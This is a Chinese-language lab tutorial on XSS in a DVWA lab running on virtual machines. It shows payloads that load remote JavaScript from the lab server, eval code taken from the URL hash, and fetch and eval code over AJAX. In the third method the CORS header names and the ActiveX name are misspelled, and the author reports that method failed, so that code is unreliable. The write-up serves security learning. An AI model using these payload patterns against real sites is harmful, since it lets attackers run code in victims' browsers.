目录
0 前言
在上一节我们了解了XSS漏洞验证、语句构造与绕过的方法,在此基础上,当发现漏洞存在时,需要了解存在哪些利用漏洞执行shellcode的方法。
1 实验简介
1.1 实验目的
模拟利用XSS漏洞执行shellcode的几种方法。
1.2 实验环境
- 本实验均在虚拟机中进行,桥接到同一局域网中。
- 服务器:win2008,部署WAMP环境和DCWA平台,参考文章《WAMP环境+DVWA漏洞测试平台搭建过程》IP地址为192.168.1.7。
- 靶机:winxp,IP地址为192.168.1.8。访问服务器的dvwa页面,设置security级别为low,在反射型XSS页面测试以下方法。
2 shellcode的调用实验
shellcode就是利用漏洞所执行的代码。完整的XSS攻击会将shellcode存放在一个地方,然后在存在XSS漏洞的地方触发漏洞去调用代码。
2.1 远程调用JS
- 简介:可以将JS代码单独存放在一个JS文件中,然后通过http协议远程加载该脚本。
- 在win2008虚拟机中,开启phpstudy。在网站根目录下,新建文件命名为xss1.js,输入内容为
alert('xss1.js')
,保存文件。
- winxp范围dvwa页面,并在输入框中输入
<script src="http://192.168.1.7/xss1.js"></script>
,点击submit后弹出窗口,说明xss1.js代码已被执行。
2.2 利用Windows.location.hash触发JS
- Windows.location.hash简介:该方法会获取URL中#后面的内容,包括#号。
- 可以使用JS中的Windows.location.hash方法获取浏览器URL地址栏的XSS代码,也就是说触发时代码存在与URL中。
- 在win2008中,访问之前部署好的DVWA环境,登录账号密码,将security级别设置为low。
- 构造以下代码传入URL中。
?name=<script>eval(location.hash.substr(1))</script>#alert('This is window.location.hash')
,回车可以可以看到触发弹窗并执行代码。
2.3 利用XSS下载器
- 简介:XSS下载器就是将XSS代码写到网页中,然后通过AJAX技术,取得翻页中的XSS代码。
- AJAX技术简介:不是新的编程语言,而是一个技术,旨在实现下面几个功能:
- 不刷新页面更新网页
- 在页面加载后从服务器请求数据
- 在页面加载后从服务器接收数据
- 在后台向服务器发送数据
- 详细请点击《AJAX 简介》查看。
- 首先,在win2008网站根目录下先创建一个文件,命名为xss3.php,写入以下内容。由于AJAX技术会受到浏览器同源策略的限制,为解决这个问题,我们需要在服务器端代码中添加header开头的两句话。
<?php
header('Access-Contro-Allow-Origin:*');
header('Access-Contro-Allow-Headers:Origin, X-Requested-With, Content-type,Accept');
?>
~~~BOF|alert(/AJAX/)|EOF~~~
5. 采用DVWA漏洞所在处进行测试,输入以下代码回车,按理说会弹出窗口,但是实验失败了,暂未发现原因。
<script>
function XSS(){
if (window.XMLHttpRequest){
a = new XMLHttpRequest();
}else if (window.ActiveXObjest){
a = new ActiveXObjest("Microsoft.XMLHTTP");
}else {return;}
a.open('get','http://192.168.1.7/xss3.php',false);
a.send();
b=a.responseText;
eval(unescape(b.substring(b.indexOf('BOF|')+4,b.indexOf('|EOF'))));
}
XSS();
</script>
2.4 备选储存技术
shellcode还可以存储在客户端的本地域中,比如HTTP Cookie、Flash 共享对象、UserData、localStorage等。
3 总结
- shellcode可以存储在远程文件、URL、HTTP头、其他网页中;
- 通过多种方式利用XSS漏铜触发shellcode执行;
- 利用XSS下载器与http头信息的方法还需要加强。